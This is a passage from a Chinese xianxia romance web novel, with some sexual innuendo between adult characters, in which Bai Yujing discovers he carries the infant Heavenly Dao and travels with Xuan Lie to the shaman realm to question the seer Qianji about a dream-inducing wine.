玄冽略微抬起视线,对上美人明亮而狡黠的目光。 那眼神似是在说——如何,换成蛇尾你没办法再摸了吧? 玄冽被他可爱得忍不住勾了下嘴角。 然而这张完全照着白玉京偏好长的脸,在如此近的距离下所带来的冲击力实在是有些太大了。 白玉京被他笑得一晃,但就是这么短的时间,却被人抓住了破绽。 “……!?” 原本是为了咒人才故意穿的黑纱,此刻却被那人拽着摩擦在那处缺少鳞片的地方。 从未想过还有这种玩法的美人不可思议地睁大眼睛,一把抓住对方手腕。 可他那点欲拒还迎的力度根本拗不过对方,粗糙的纱衣磨过鳞片,恰到好处地停在边缘,将进却未进。 黑纱几乎是威胁般摩擦在翕张地方。 先前还耀武扬威的美人一下子便服了软:“别、别……求你……” 不能,绝对不能被揉进去……! 这种只是扫在蛇鳞上就几乎受不住的摩擦感但凡被人揉进那里,自己一定会崩溃的…… 这和挤压腿肉的感觉不可同日而语,眼见着对方丝毫不为所动,竟当真捻着纱料就要往里面揉,白玉京被吓得心肺骤停,攥着对方的手腕脱口而出道:“仙、仙尊……!拍卖会上时,大巫的那面镜子碎掉之前……背面其实还有一行字!” 玄冽闻言果然一顿,眸色刹那间严肃下来:“什么字?” 已经被彻底浸透的黑纱终于停在边缘处,白玉京蓦地松了口气。 不过他回神之后又有些懊恼,心下暗恨自己嘴快。 但事已至此,他只能硬着头皮道:“那面镜子背面,用巫族的虫鸟篆写着“常”、“非”、“可”三个字,但那三个字的错落结构有些奇怪,就好似原本是某一句完整的话,但其他部分被擦去了一样。” 玄冽闻言蹙了蹙眉,总算松开了他的纱衣道:“写下来。” 白玉京刚想去玉镯内拿笔和纸,却被人按住手腕:“直接用尾尖写,不要留下痕迹。” ……留下字迹直接烧了不就算了,这石头也太兴师动众了一些。 白玉京道:“笔是有了,但没有墨……” 他话说到一半却突然顿住了。 只见玄冽直接割开手腕,鲜血霎时淌了出来:“用这个写。” 白玉京一怔,心下倏得泛起了一些说不出的滋味。 ……这人就没想过自己会骗他吗? 只是自己随口一说的话,他便奉若圭臬,直接用心头血为自己做墨。 就这样还好意思说自己被人卖了帮着数钱……堂堂仙尊,想来也不过如此,蠢得可怜。 白玉京心下轻哼,面上却低头舔过对方的手腕,在玄冽骤然凝滞的目光中抬眸笑道:“心头血贵重,卿卿可不舍得。” ……老流氓,本座还治不了你了? 白玉京咽下心头血,侧身一甩尾巴,当着对方的面便把那处白腻的尾尖悬在了小腹上。 月色之下,玄冽瞳孔骤缩,白玉京笑着将尾尖缓缓放下:“这下笔墨是有了……不过还缺一张纸。” 美人忍着颤抖,侧身无骨地倚靠在他肩膀上,用尾尖蘸了“墨汁”划在他胸口:“……只能劳烦仙尊委屈一下了。” 玄冽屏气凝神,一言不发地垂眸,眼睁睁看着对方用尾尖蘸着“墨水”划在他胸前的伤口处。 很难说对方到底是在带着恶意折磨他,还是在明目张胆地向他求欢。 疼痛混杂着难言的滋味一起从胸前泛起,搭配着眼前那人被泉水浸透的白腻胸口,这种刺激便是真正的无情道圣人来了恐怕也受不住。 白玉京突然感觉到尾尖下的身体硬得好似石头一般。 ……道貌岸然的臭石头,本座看你还能装多久。 小美人略显得意地扬起下巴,故意顺着自己昔日留下的伤口,缓缓写下了那几个字的排列顺序。 整个过程被他拖得无比漫长,直到最后一笔落下,白玉京才将尾尖骄矜地搭在对方手腕上,故作不解道:“仙尊?” 玄冽深吸了一口气道:“……无事。” 白玉京抿着唇看了他一眼,轻哼一声,垂眸看向他胸口闪烁的水光,而后便忍不住眯了眯眼。 先前那三个字被镜子背后的花纹遮盖,再加上虫鸟篆本身就排列得歪七扭八的,白玉京完全看不出什么异样。 可如今按照原本的顺序,用通用的文字重新排列后,不必玄冽分析,白玉京便蓦然感受到一阵熟悉感。 那不是“非”、“常”、“可”,而是——“可”、“非常”。 “……” 白玉京神色凝重下去,不禁坐直身体蹙眉看向那两行字。玄冽也恰在此刻勉强找回了些许理智,开口道:“【——】可【——】,非常【——】。” 他完完整整地说出了一句话,可其中某个特定的字,却好似被什么不可名状的存在硬生生抹去一般,根本说不出来。 白玉京一怔,回神后立刻用尾尖蘸了汁水,企图在玄冽胸口将那句话补全。 他一连写下了三个一模一样的字,可那由他亲自产生的“墨汁”就好似不存在一样,竟直接在玄冽身上消弭殆尽,连一点痕迹都没有留下。 白玉京意识到了什么,猛地抬头看向天幕,瞳孔不住地收缩。 “造物主”、“新世界”、“权柄”、“六族圣物”…… 种种字眼连缀在一起,最终汇作了一句不可名状的古语——“道可道,非常道。” 此刻,他终于明白了沈风麟和他身上那抹幽蓝色“水幕”的真实目的,更明白了自己肚子里的金光到底是什么。 那是被取而代之,失去了权柄,被褫夺了名讳的—— 【道】。 作者有话说: 此文别名:《我怀了三千界的希望》(x) 小天道四舍五入算是龙子哥的亲戚,嗯,那小蔷薇应该喊小蛇什么……? 第28章 暴露 惊世的隐秘终于在夜色中被徐徐揭开, 漫天大雪之中,璀璨的星空显得格外虚假。 半晌,白玉京僵硬着收回目光, 忍不住道:“仙尊,我其实——” 他深知事关三千界存亡, 自己的面子与本能在此刻都显得无关紧要,因此张嘴便想和玄冽坦白自己腹中孕育的金卵。 然而, 话到嘴边, 他的喉咙好似被人硬生生掐住一样, 所有未尽之语都被人僵硬地截在那里。 这一次, 不再是白玉京不愿意说了。 道可道, 非常道;名可名, 非常名。 道本无相, 自然无法名状,亦不可被描述。 玄冽察觉到异样垂眸:“怎么了?” 白玉京深吸了一口气,尝试着迂回道:“我在沈风麟的结婴大典上,误喝了一杯酒, 因此才显出了原形。” 玄冽立刻听出了他的言下之意:“那酒有问题?” 白玉京点了点头, 张嘴时却又卡住了。 ……看来迂回也不行。 不管怎么样描述,都没办法说出“他误喝了酒所以怀了天道”这个事实。 想到这里, 白玉京突然明白了为什么只有自己能看到沈风麟身上的那道光幕, 其他人却看不到。 仔细想来, 他养育沈风麟足足十年,期间也并未在他身上发现过异样, 反而在喝下那缕金光之后, 他便立刻看到了那抹光幕。 一步步巧夺天机的蚕食, 让沈风麟身上的那个诡异东西, 成为了三千界真正意义上的【天道】。 【天道】不可名状,自然无法被人看到,除非借用真正的天道之力,方能看到那鸠占鹊巢者的本相。 但是……若是那东西真有这么大的本领,怎么会连一粒仙种都找不到? 况且,三千界强者如云,自己腹中的若真是真正的天道,又为何会如此孱弱? 白玉京想了半晌也没想出来,最终只能换了件事和玄冽坦白:“有问题的不止是那杯酒。在那日之前,我从未在沈风麟面前显露过原形,但沈风麟对我的原形却好似十拿九稳。” “就在我喝下那杯酒现出原形且几近昏迷的时候,他将我抱在怀中,我第一次在他身上看到了那个诡异的幽蓝色光幕。” 白玉京陷入了回忆,并未察觉到玄冽听闻“抱在怀中”几个字后骤然冷下来的神色。 “然后我在隐约之中,听到那抹幽光说——” “【人族修士宋青羽已收集完毕。】” 玄冽掐着他的腰一顿:“这是什么时候的事?” 白玉京思索了一下道:“刚好是一个月前的今日。” 玄冽蹙眉:“……是宋青羽飞升的那一日。” ——他居然记得青羽飞升的日子。 白玉京一怔。 他还以为玄冽谁都不在乎。 ……石头当真会有心吗? 玄冽不知道他心下在想什么,继续问道:“除此之外,那东西还说了什么?” 白玉京闻言低下头开始苦思冥想,奈何那天的记忆就像是被套了层纱一样,朦朦胧胧的,不管怎么回忆都不真切。 “好像有什么‘新世界’、‘系统’……” 白玉京绞尽脑汁回忆着,可越是回想,记忆反而越是如流沙般逝去。 因为思考而涨热的大脑开始隐隐作痛,一只手揉上他的太阳穴:“想不起来就不必再想了。” “……对不起,是卿卿没有用。”愁眉不展的小美人恹恹地低下头,靠在男人怀中,“但那东西刚好在人皇飞升当日说出那种话……到底是什么意思?” “不是你的错,不必自责。”玄冽知道他在担忧什么,轻轻拍着他的背安抚道,“沈风麟身上的那道幽光,恐怕便是企图僭越夺权的外来物。” “但它若是真有一手遮天的本事,也不必在此同我们周旋了。” 玄冽低声宽慰道:“人皇定然无事,不必担心。” “眼下最大的可能,是她飞升之后,三千界刚好被那东西封闭,她身处仙界无法投下视线,所以才暂时没有消息。” “如今,没有消息反倒是最好的消息。” 白玉京闻言心头多少好受了一些,轻轻嗯了一声后,埋在对方怀中不再言语。 事已至此,情况紧急之下,原本还尚处于谋划阶段的巫界之旅立刻便被提上了日程。 不过祈星石作为巫族圣石,寻找的难易程度与鬼、妖二族不同。 鬼族如今在位的碧魂阎罗已经万年不断庶务了,如今连他是生是死都无人知晓,所以三生石虽贵为鬼族圣物,但连流明这种档次的修士都能打探到相关消息,其行踪和人尽皆知也没什么区别。 至于妖族,妖皇白玉京在此,精卫石的踪迹自是不必多言。 可巫族不同,如今千机大巫在位,巫界并非群龙无首,要擅自去寻找巫族圣石,恐怕多少还是得和千机打声招呼。 想到那个戴着面具的老瞎子,白玉京便忍不住在心下撇了撇嘴,实在不愿再和他打交道。 早些年的时候,他一直在寻找恩公转世,未曾想对方两次转世都早夭,白玉京走头无门之下,便带了礼物上门去找千机,希望对方能给自己卜一卦。 毕竟巫族善断吉凶祸福,可占天地万象,那千机作为当世巫主,占卜的水平应当颇高。 可让他万万没有料到的是,千机是个瞎了眼的矮瘦老头,原形是只活了上万岁的王八。他为了保证占卜不被干扰,便用自己蜕下来的龟壳做成面具戴在脸上,屏蔽了其他四感,只留第六感与天地沟通。 因此,他压根就没认出来白玉京是男是女,更没认出对方就是凶名在外的通天妖皇。 白玉京刚把东西放下,还没来得及开口,便听那老头突然一惊一乍地喊道:“这位夫人,老朽观你来时天地之气不凡,掐指一算吓了一跳,您这可是大贵之命啊!” 白玉京:“……” 千机越说越激动:“您虽年幼,却有早婚之兆,命中注定会嫁给年岁长你万余的丈夫。” 白玉京:“……” “而且夫人您命中带煞,恐年少守寡,不过不用担心,您夫君八字命硬,势必能逢凶化吉,峰回路转。” 白玉京:“……” “最重要的是——你命中带有贵女啊,夫人!”那老瞎子说着说着突然激动道,“老朽这里有一味巫药,配上龟兹大巫传下来的巫酒,可保您早生贵女,只需十万灵石,便能——” “睁开你的王八眼看看本座是雌是雄!” 白玉京一把揭了对方的龟壳面具,砸在地上怒骂道:“你才守寡,你全家都守寡!” “本座看你是老王八上吊活够了!” 那可怜的老巫原本只是想推销一下自己的巫药,未曾想惹到了这样一个祖宗,吓得立刻变回原形,缩回龟壳里任白玉京怎么敲都不愿出来。 最终,白玉京气得踹了他好几脚脚,但无可奈何之下还是只能吃了个哑巴亏走人,连拎过去的礼物也没拿。 ——寻求巫族卜算时给予的礼品本质上沟通天地的祭品,无论卜占结果如何都不能拿走,否则不祥。 当然,白玉京很怀疑这是巫族那帮王八、纸人还有巫女编出来骗钱的。 思及此,白玉京没好气地撇了撇嘴。 巫族并非人、妖、灵这种天生的种族,他们和鬼族有些类似,大部分都是其他种族在后天突然觉醒沟通天地的能力,而后才转化成的。 因此巫族人人皆可沟通天地,他们识人自然也不靠外物,自己这点障眼法哄哄低阶的小巫还好,恐怕唬不住千机那老王八。 ……罢了。 白玉京最终还是捏着鼻子在心里道,兵来将挡水来土掩,还是正事要紧。 第二日一早,江心月和苏九韶陪着他们一起来到传送阵。 “二位今日便要启程了吗?”江心月客套道,“不如再在霜华多待上几日。” 玄冽摇了摇头:“种子一事不可久拖。” 他隐去了召唤阵一事,以免多生事端。 江心月闻言也没有强留:“那便祝两位一路顺风了。” 苏九韶看向有些心神不宁的白玉京:“祝前辈此去如愿。” “多谢姑娘。”白玉京回神后向苏九韶笑道,“也祝愿姑娘结丹顺利。” 二人临走时,白玉京突然同苏九韶道:“你母亲还在月华吗?” 苏九韶忙道:“是。” 白玉京停顿了一下,似是有些怅然:“结丹之后有空多回去看看她吧。” 苏九韶一怔,道了声“是”后,忍不住抬眸看向两人的背影。 玄天仙尊将心神不宁的白玉京裹进披风中,搂着人向传送阵走去。 披风之下,苏九韶隐约看到那愁眉不展的美人无意识地抚上自己小腹,那动作就好像是…… 她蓦地止住自己危险的思绪,红着脸移开视线。 传送阵内,两人站定,玄冽低头看了一眼怀中人。 这已经是白玉京今日第三次忍不住抚摸他自己的小腹了。 玄冽心下一软,却误会了白玉京如此动作的缘由。 ——他定是还在担忧他的孩子。 哪怕宋青羽已经三百岁,更是百年来唯一飞升之人,可这条刚刚成熟的小蛇还是将她当做那个剑都拿不稳的小姑娘,依旧忍不住担忧他的女儿。 玄冽心下蓦地泛起一阵怜惜,低头吻了吻怀中人的眉心。 “……!” 白玉京微微睁大眼睛,忍不住抓住玄冽的衣襟,刚想说什么,传送阵光晕倏然散开,刺得他连忙闭上眼睛。 再睁眼时,霜华的严寒与风雪一扫而空,只剩下满天的星辰与灿烂的白昼。 那是很奇异的一幕,白昼与繁星同在,完全与寻常之景相背而驰。 出了传送阵,往来修士大多佩戴着各式各样的巫族面具,只有少部分像白玉京他们一样的外来者完整地露着面容。 由巫族主宰的群星汇聚之地——太微大世界到了。 玄冽搂着怀中人向台阶下走去,白玉京还在为刚刚那个吻走神。 ……这人到底是什么意思? 不过走出去没几步,白玉京便发现两人的行进方向似乎有些不对:“仙尊,我们这是去哪?” 玄冽道:“先去给你买衣服。” ……这么点小事,难为这人居然还记得。 白玉京心下泛起了一点微妙的动容,面上却道:“多谢仙尊,但……正事要紧,我们还是先去见千机大巫吧,衣服之事不急这一时。” 玄冽闻言有些犹豫,不过低头对上白玉京的眼神后,便明白了对方在想什么——他应当是急着见千机,想让对方帮他算一下宋青羽的情况。 “好。”玄冽点了点头道,“见完千机再给你买。” 白玉京轻声道:“多谢仙尊。” 他心下所想和玄冽猜测的几乎一样,既然要去面见千机,或许可以让那老王八帮忙算一下青羽的吉凶。 白玉京正筹划着,耳边突然响起了一道稚嫩的女童声:【娘亲是在担心阿姊吗?】 “……!?” ……谁在说话!? 白玉京愕然回神,猛地抬眸环顾四周,却见周围毫无异样。 那道女童声继续乖巧道:【阿姊之前告诉我,她暂时没事,让娘亲不用担心她。】 白玉京突然想到了什么,猛然向内窥去,果不其然看到了散发着金光的金蛋。 玄冽察觉到他的异样:“难受?” 太微世界的星象暗藏吉凶,时常有修士第一次前来时会被魇住。 白玉京自知没办法说出事实,说些其他不着四六的话也只会让玄冽平白担忧,最终,他顺着对方的话点了点头,撒了个不大不小的谎:“嗯,有一点犯恶心。” 玄冽闻言直接将他打横抱起,用披风将他遮在怀中:“闭眼睡一会,马上就到了。” “……” 怀中人乖巧地应了一声,抬起那双素白如月色的手轻轻攀上他的脖子,一副依恋之至的模样:“多谢仙尊。” 白玉京装作略显虚弱的模样合上眼,却并未睡去,反而迫不及待地在心底道:【你是谁?……是天道吗?】 小天道尚有些懵懂:【我不知道……但阿姊和娘亲喊的一样,她也叫我天道。】 白玉京顾不得它的称呼,急道:【你所说的阿姊是谁?】 【阿姊说她是人族的帝王,有龙气在身,便是天道也要臣服于她。她还说她是娘亲的第一个孩子,我是第二个,所以要尊称她为皇姊。】 白玉京一怔,眼底蓦然泛起了一股酸意。 面见天道却仍旧如此桀骜不驯,是青羽那丫头会说出来的话。 【你阿姊她……现在在哪里?】 【我也不知道。】小天道如实道,【我只知道我一直在被什么东西追杀,快要被它杀死的时候,遇到了阿姊。】 【阿姊把我送到娘亲的肚子里后就消失了……但阿姊很强大的,娘亲不用担心!】 白玉京闻言埋在玄冽怀中,千言万语涌上心头,一时间却连一个字都说不出来。 青羽,你当时亲手救下天道的时候,难道就在我身旁吗? 白玉京想起了那日缭绕在自己身畔,如水般依依不舍的剑意,一时间像是被人硬生生攥住心脏一样心酸。 我可怜的女儿……你现在应当已经在仙界了吧? 想到这里,白玉京终于多少感到了几分宽慰,随即向腹中的小天道询问道:【你既是天道化身,为何会被外来的僭越者窃取权柄?】 小天道茫然道:【谁是外来者?什么是权柄?】 【……】 ……这孩子莫不是个傻子吧? 【你从什么时候开始有意识的?】白玉京怕他听不懂,言罢又换了个说辞,【你最早的回忆大概是什么时候?】 【嗯……我最早的回忆就是遇到娘亲的那一天呀。那个东西一直在追杀我,然后我就意识到自己快要死了,再然后就遇到了阿姊。】 它说话说得颠三倒四,白玉京却勉强听懂了。 所以天道之所以会生出意识,完全是因为被蚕食到无路可退时,硬生生被逼出了灵智。 但身为三千世界天道,它怎会如此孱弱? 况且沈风麟身上那东西若真有本事把天道逼到如此绝路,为何还要依附于沈风麟? 白玉京百思不得其解,忍不住把心头的疑惑都问了,最终得到的答案却都是:【我不知道哎。】 ……这倒霉孩子果然是个傻子吧。 白玉京有些无力地在心底叹了口气,问了个无关痛痒的问题道:【道本无相,你既是天道化身,为什么说话听起来像个小女孩?不该无性吗?】 【因为娘亲很想阿姊啊。】那道声音说着竟变成了小男孩,略带讨好道,【娘亲想让我是什么样的,我就是什么样的。】 【……】 白玉京沉默了片刻,轻轻抚上小腹道:【没必要为我的意志改变,你想是什么样就是什么样,没有人能主宰你的命运。】 不过他只温柔了一下,紧跟着便话音一转道:【还有,你这不是能分清男女吗?喊什么娘亲,叫爹爹。】 小天道沉默了一下,半晌又变回小女孩的声音乖乖道:【……哦,爹爹。】 ……这小倒霉蛋还挺听话。 白玉京大概摸透了这小天道的脾气,它大部分时候一问摇头三不知,但也没表现出来的那么蠢。 反而因为被追杀的经历,它本能的想要讨好母体,生怕被母体抛弃。 而且隐约间,这小天道似乎能窥探到白玉京的想法,因此它卖乖的时候就故意装成小女孩的样子,希望能通过唤醒白玉京对宋青羽的回忆,来博取母体的怜爱。 ……不过青羽小时候可不会撒娇,那姑娘犟得跟头小驴一样。 小天道撒娇耍赖企图蒙混过关的样子一点都不像它阿姊,反而跟白玉京小时候一模一样。 不过对于像自己的小孩,大部分人的容忍度都会高一些。 白玉京于是缓下思绪,扶着肚子道:【你叫什么名字?】 【我没有名字。】 小天道乖乖说。 白玉京一怔,心软了几分。 虽然和他与玄冽都没有血缘关系……但这可是他第一个亲自怀上的孩子。 【虽然古语曾言,“道可道,非常道;名可名,非常名”,按理来说你不能有名。】 【但古人又曾描述你:“玄之又玄,众妙之门。”】 【既然如此,你又是本座怀的,便随本座姓,大名就叫白玄之,小名叫妙妙。】 【大名将来不管你愿意当女孩还是男孩都能用,至于小名,男女都无所谓。】 白玉京从小被人惯得不知道天高地厚,更不知道什么叫自卑,眼下自然也不觉得自己给天道赐名,还让天道直接随自己姓有什么不对。 他反而对自己引经据典起的名字异常满意——如此有意义又好听的名字,看玄冽那厮还敢说他蠢不敢了。 小天道闻言从善如流地改了自称,立刻拍马屁道:【妙妙喜欢这个名字,谢谢爹爹。】 养了这么多白眼狼,这还是白玉京头一次养到这么乖的孩子。 然而,没等他感到欣慰,下一秒,这和它爹一样没什么脑子的小天道便一下子拍马屁拍到了它小爹的屁股上:【爹爹给妙妙取名叫白玄之,除了古籍上是这么说的外,还有什么别的说法吗?】 白玉京不解:【还能有什么别的说法?】 小天道还以为他是害羞,于是自以为聪明地戳破道:【是因为父亲姓玄,爹爹才给妙妙取名叫白玄之的吧?】 【爹爹果然和父亲好恩爱呀!】 …… ……不是,谁是它父亲!? 童言无忌的一句话落在白玉京耳畔却堪称振聋发聩,白玉京被惊得瞠目结舌,回神之后才想意识到自己处心积虑起的名字竟当真和玄冽撞了姓! 他当即恼羞成怒:【你这倒霉孩子胡说什么呢,那臭石头怎么可能是你父亲!?】 【可是……】金光闪闪的蛋被他骂得一暗,在他腹中委屈巴巴道,【爹爹在梦里还喊父亲夫君呢,妙妙在爹爹肚子里都听到了!】 ……什么玩意!? 白玉京瞠目结舌,原本早就把那个梦抛之脑后了,闻言大惊失色:【什么时候的梦?】 【就、就是十天前呀。】 白玉京一口气差点没上来:【玄冽那下流东西在梦里对我做什么了!?】 【妙妙也不知道。】小天道乖巧道,【爹爹害羞,不愿意让妙妙窥探你和父亲的梦境。】 【只是隐约听到爹爹一直在说什么……“求求夫君饶了卿卿吧,卿卿受不住了。”】 作者有话说: 好宝宝好宝宝[奶茶][奶茶] 第29章 巫酒 白玉京:“……” 都道童言无忌, 这样一番话被一个小女孩用如此懵懂无知的语气说出来,给人带来的冲击与羞耻完全不是言语能形容得了的。 白玉京闻言只觉得大脑轰得一声炸开,隐约间甚至都能听见阵阵耳鸣声。 什、什么求夫君饶了卿卿……什么受不住了……那老流氓石头到底当着孩子的面对自己做了什么!? 极端羞恼的驱使下, 白玉京再装不下去温顺,回神后一把掀开盖在身上的披风, 猛地从玄冽怀里抬起头怒道:“玄冽!” 对方闻声脚步一顿,垂眸看向他。 然而, 好巧不巧的是, 此刻玄冽正好抱着他走到巫山殿门口。 白玉京那一声直呼其名的动静堪称平地起惊雷, 玄天仙尊的大名在整个巫族群殿中回响, 宛如天神下凡一样, 格外气派。 无数戴着青铜面具的巫修齐齐停下动作看向这边, 虽然隔着金属面具, 但众巫面上的诧异依旧呼之欲出。 白玉京:“……” 众目睽睽之下,他整个人又羞又气几乎冒烟,当即在心底揪着小天道确认道:【妙妙,你确定没听错吗?除了听见我说的那些话外, 你还听见别的什么了吗?有听见玄冽开口吗?】 然而, 白玉京一连串倒豆子一般的询问倾泻而出,却无人回答。 方才还叽叽喳喳的金蛋仿佛是被白玉京猛然起身的动作给晃晕了一样, 突然一声不吭起来。 【……妙妙?白妙妙?】 【白玄之!?】 白玉京对着肚子喊了几声, 奈何他哪怕是直呼大名也没人回应, 急得他恨不得把那倒霉孩子从肚子揪出来询问。 ——这说话只说一半的样子怎么那么像她那个讨人厌的父亲呢? 不对……呸! 玄冽那下流石头休想当他孩子的父亲! 此刻,被他在心中狂骂的人正一眨不眨地看着白玉京, 见他喊完自己的名讳后突然没了下文, 玄冽不由道:“怎么了?” “……” 凡人定罪尚且讲究一个人赃俱获, 但如今自己什么物证也没有, 唯一的人证还临阵脱逃,白玉京思来想去不敢妄下定论,只能从牙缝中挤出一句:“……没什么,卿卿只是在梦中梦到仙尊,一时有些激动,还请仙尊莫怪。” 玄冽闻言居然还有闲心反问:“梦到我什么了?” ……梦到你死了! 白玉京心下暗骂,面上却羞赧般低下头,顾左右而言他道:“既已到了巫山殿……卿卿还是下来自己走吧,辛苦仙尊一路护送了。” 他完全没意识到身为一个从未到过巫界的小蛇妖,一眼就能分辨出巫山殿有什么不对。 玄冽倒也乐得陪他演。 于是众巫便震惊地看到,玄天仙尊在众目睽睽下被直呼大名后居然一点也不恼,反而面不改色地放下怀中美人,替对方理了理鬓间凌乱的发丝后,拥着人走向了巫山殿。 巫山殿内,历任大巫留下的巫祝呈八卦之位错落排开,正中央绘制着一副由龟壳组装而成的太极鱼,千机大巫斜戴面具,闭目坐于其中。 “二位远道而来,老朽卦象在身,不可擅动,怠慢之处还请二位见谅。” “无妨。” 玄冽似乎对此地也很熟悉,未等千机开口安排他们落座,他便带着白玉京径自坐在了对位处。 十几年未见,这老头看起来倒是和当年没有任何区别。 唯一发生改变的是他戴在脸上的那个龟壳面具——前面那个被白玉京砸碎了,如今又换了个新的。 白玉京坐下看着他眯了眯眼,倏然想起来这老王八之前给自己算的卦——嫁给大自己几万岁的丈夫,命中守寡,还会生个贵女。 无论是人皇还是天道,确实都称得上贵女,至于命中带煞,注定要为那个几万岁的丈夫守几年寡…… 白玉京想到这里瞬间气得七窍生烟,忍不住对千机怒目而视。 ——嫁个石头可不就是要守寡吗! 在玄冽的灵心完全生出来之前,他这日子和守活寡有什么区别?那中看不中用的东西只敢趁着他入梦折腾他,日后怎么办?难道醒着的时候只能天天骑着石头磨吗? 白玉京越想越气,但他并不觉得自己有问题,也没觉得玄冽有什么大问题——毕竟灵族天生都这样,大巫姽瑶都治不了,他还能怎么办。 白玉京此刻只觉得是千机这老王八算的卦象有问题,于是忍不住迁怒对方,一时间看向千机的眼神几乎都要冒火了。 千机显然早就认出他了,眼下盯着他的目光简直如坐针毡,甚至还忍不住缩了一下脖子,只可惜他不是原形,缩脖子也回不到壳内。 玄冽对于身边发生的一切堪称熟视无睹:“你族祈星石现在何处?” 面对玄冽一开口就仿佛要拆巫殿的态度,千机在心底为自己捏了把汗道:“祈星石乃巫祖所传,属本族圣物,恕老朽不能告知仙尊具体方位。” 玄冽道:“既然如此,你如何保证你族圣物不被外人所获?” 这话和找茬没多大区别,好在千机似乎已经习惯了:“卦象显示,未来千年之内圣物无恙,还请仙尊勿虑。” 玄冽却道:“若是天机能被人操控,卦象亦是如此呢?” 千机:“……” 倒霉的老巫这辈子没遇上过这样找茬的,一时间不知道该怎么接了。 他们二人围绕祈星石你来我往地交谈着,白玉京却有些心不在焉。 小天道一问摇头三不知,而且还是肉眼可见的虚弱,动不动就跟断气一样没了声音。 若不是腹中的金蛋尚闪着淡淡光晕,白玉京险些以为自己把天道给养死了。 他抿着唇回忆起过往这一个月有关天道的情形,似乎小天道每每有反应之时,都是他吞吃玄冽心头血的时候。 怪不得他总是觉得饿……想来那些初为人母的姑娘怀孕时也是如此,只不过她们能靠寻常食物养育她们的孩子,白玉京却做不到。 天道之食无法与寻常生灵相提并论,难道为了养育它,自己只能源源不断地汲取玄冽的心头血,直至将它生下来的那一刻为止吗? “……” 想到这里,白玉京忍不住垂下睫毛,隐晦地看向小腹。 他是条雄蛇,没怀过蛋,更没怀过天道,完全不清楚自己腹中的卵什么时候会成熟。 或许再有一个月,又或许还要再怀个三五年。 道不可测,谁也说不准它降生的时日。 但……难道自己只能一直如眼下这般,像个菟丝子一样攀附在玄冽身上,直至将对方榨干为止吗? 就算玄冽活了数万年,所攒下来的心头血势必多于其他灵族,但恐怕也供养不起天道。 在这种巨大的不确定性之下,白玉京的本能和理智难得达成一致,驱使着他从对方身边逃跑。 本能想让他逃跑其实很好理解——他的身体自认为怀了不属于丈夫的孩子,临产的时候自然要跑得远远的,以免在产卵时被丈夫抓住。 理智想跑就更好理解了——一方面,他不愿意当真将玄冽榨干;另一方面,白玉京其实多少也猜到了梦中之事,他深知自己的意志力薄弱,若是再不跑,在现实中也被那石头哄上床的话…… 他蓦地止住幻想,咬着牙夹紧双腿,强迫自己忽略身下那股微妙的水声。 可恶,这烦人的天性到底怎么样才能克服……!? 不论如何,他绝对不要步姽瑶后尘爱上一颗石头,更不要变成满脑子只想给那臭石头生蛋的笨蛋小蛇! 白玉京心思百转之际,一旁的两人终于就祈星石一事达成了暂时的共识,千机松口道:“仙尊所言有理,不过还请仙尊给老朽一些时间,待老朽重新卜一卦吉凶后,再给仙尊答复。” 玄冽并未逼得太紧,闻言点了点道:“好。” 眼见交谈接近尾声,白玉京收回发散的思绪,心下快速思索起来。 ……便是要跑,跑之前也该把梦中发生的事搞清楚,不然自己总不能不明不白地给人睡吧? 但他眼下什么都想不起来,白妙妙那倒霉孩子昏迷了靠不住,更何况它也说了它没有看到梦境全貌,只是隐约听到了一些只言片语,以那个小糊涂蛋的性格,转述的话准不准还两说。 所以,目前唯一能清楚记得那件事的人……便只剩下玄冽了。 白玉京攥紧手心抿了抿唇。 他再蠢也不会直接去问对方那十天发生了什么,想也知道这长满了心眼的石头不会正面回答,说不定还要反过来哄骗于他。 他几不可见地瞟了一眼身边人,看着对方包裹得严严实实的身躯,脑海中却浮现了那道自己在他身上留下的伤痕。 巧的是,那道伤口刚好划过玄冽的心口处,只要顺着伤口往内探去,便能触碰到对方残缺的灵心。 ——所以,灵族的记忆会被存放在灵心中吗? 白玉京无意识地摸了摸耳坠。 ……罢了,舍不得孩子套不着狼,先这样死马当活马医吧。 白玉京下定决心后,直接开口道:“我听仙尊所言,昔日仙尊似是曾被巫族之人暗算过,敢问此事为真吗?” 千机:“……?” 千机闻言大惊失色,哪个巫修敢暗算玄天仙尊!? 玄冽闻言竟煞有其事地点了点头:“确有此事,卿卿问此事何意?” ……谁是卿卿? 可怜的老巫突然意识到了什么,扭头震惊地“看”向白玉京。 白玉京垂下睫毛,轻轻拥住身旁人的胳膊,似是在心疼对方:“其实也没什么,卿卿只是有些好奇,能让仙尊都为之着相的……又会是何种奇物?” 此话一出,玄冽几乎是瞬间便听出来了白玉京的居心叵测,但他还是神色如常道:“是一味巫酒。” 原本半靠在他肩上的美人闻言却坐直身体,眯了眯眼质问道:“何人倒的巫酒,竟能让仙尊如此不设防?” 他这副霸道的模样看得玄冽忍不住一顿,半晌才扭头看向千机。 千机:“……” 可怜的老巫一口气差点没上来,只感觉这口黑锅比自己的龟壳还要重。 白玉京见状眯了眯眼看向千机:“原来是大巫所为。” ……这两个祖宗是要做什么? 千机在心底为自己捏了把汗。 因为巫祖姽瑶与初代灵主之事,巫族之人确实对灵族没什么好印象。 但玄冽可是正道第一人,他胆子再怎么大,也只敢在背地里算一算对方的原形和灵心,压根不敢当真和此人起正面冲突。 因此,猛地听闻暗算一事,千机直在心下为自己喊冤,过了足足有半晌他才蓦然想起来……似乎确有此事。 近五百年来,玄冽每十年便会要求他配一副巫酒。 一开始千机还不知道对方到底想在梦中回忆起什么样的情感,因此配的巫酒都比较寻常,没什么出格的地方。 而就在十年前,妖皇“陨落”的次日,玄冽再次登门,身上竟然煞气外露,面色难看到了极致。 见状,千机大着胆子为对方推销了一壶不怎么寻常的巫酒,玄冽拿着酒回去后,也并未多说什么。 千机并未将此放在心上,直到今日白玉京无意之下开口,他才蓦然意识到自己当年的那壶酒竟险些酿成大祸! 思及此,他冷汗直冒,连忙道:“老朽并非有意冒犯仙尊,那酒——” “无妨。”玄冽却道,“情况虽险,却是场好梦。” 白玉京:“……” ……好梦你大爷! 白玉京皮笑肉不笑道:“我也想见识见识,到底是何种巫酒,竟能让仙尊盛赞……不知大巫可愿割爱?” 千机只能擦着冷汗道:“自然,还请二位稍等。” 言罢,他探手从阴鱼模样的龟壳中摸了一会儿,掏出来了一个琉璃壶,透明的壶身中装着宛如繁星般的巫酒。 “这便是那一日仙尊饮下的巫酒了,其名为——‘苦情长’。” 说着,他恭敬地将酒壶递给白玉京。 白玉京接过酒,听闻酒名后一怔,半晌道:“此酒何价?” “不不不,二位折煞老朽了,一壶巫酒而已,二位直接拿走便是。” 